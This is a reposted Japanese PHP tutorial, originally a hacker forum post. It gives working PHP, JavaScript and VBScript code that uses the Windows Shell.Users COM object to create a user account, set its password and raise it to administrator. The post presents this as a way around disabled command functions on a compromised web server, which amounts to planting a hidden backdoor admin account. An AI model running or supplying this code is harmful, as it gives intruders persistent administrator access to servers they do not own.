ホームページ  >  記事  >  バックエンド開発  >  PHPバージョンで管理者アカウントをshell.usersに追加する方法_PHPチュートリアル

PHPバージョンで管理者アカウントをshell.usersに追加する方法_PHPチュートリアル

WBOY
WBOYオリジナル
2016-07-13 17:43:34862ブラウズ

トピックの作成者: Cyber​​H4ck[南京Daddy]
作成者: 南京Daddy 転載元を明記してください hi.baidu.com/南​​京daddy

2009 年に、LCX は管理者アカウントを追加するために js バージョンと vbs バージョンの shell.users を作成しました。その後、それを PHP バージョンに変更したいと思いました。

コード解析があまり正確ではないので、phpがexec、system、shell_exec、proc_open、passthru、popenなどのコマンド関数を実行するときだけ書きました

そして、wscript.shell コンポーネントが無効になっている場合は、これがチャンスとなる可能性があります。

コードは次のとおりです:

echo "
PHP バージョン Shell.Users と管理者アカウント
";
$username="IceSkin";
$password= "skin.com";
$su = new COM("Shell.Users");
$h=$su->create($username);
$h->changePassword($password,"" );
$h->setting["AccountType"] = 3;//この文は非常に重要です。ユーザーを管理者グループに追加できます。
?>
レンダリングは次のとおりです:


Apache で構築された Web サーバーは正常に実行できますが、IIS には権限が不足しているようです。nginx と lighttpd で構築された Web サーバーはまだテストされていません。

以下はLCXのコードです

js:

var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType") =3;

vbs:
Set o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3

[この投稿は Cyber​​H4ck によって 2011 年 5 月 29 日 14:33 に最終編集されました]

http://www.bkjia.com/PHPjc/478819.htmlwww.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/478819.html技術記事トピックの作成者: Cyber​​H4ck [nanquan Daddy] 著者: Nanquan Daddy 転載には出典を示してください。hi.baidu.com/nanquan Daddy 2009 年に、LCX は js バージョンと vbs バージョンのshell.users を作成し、管理者アカウントを追加しました。 .
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。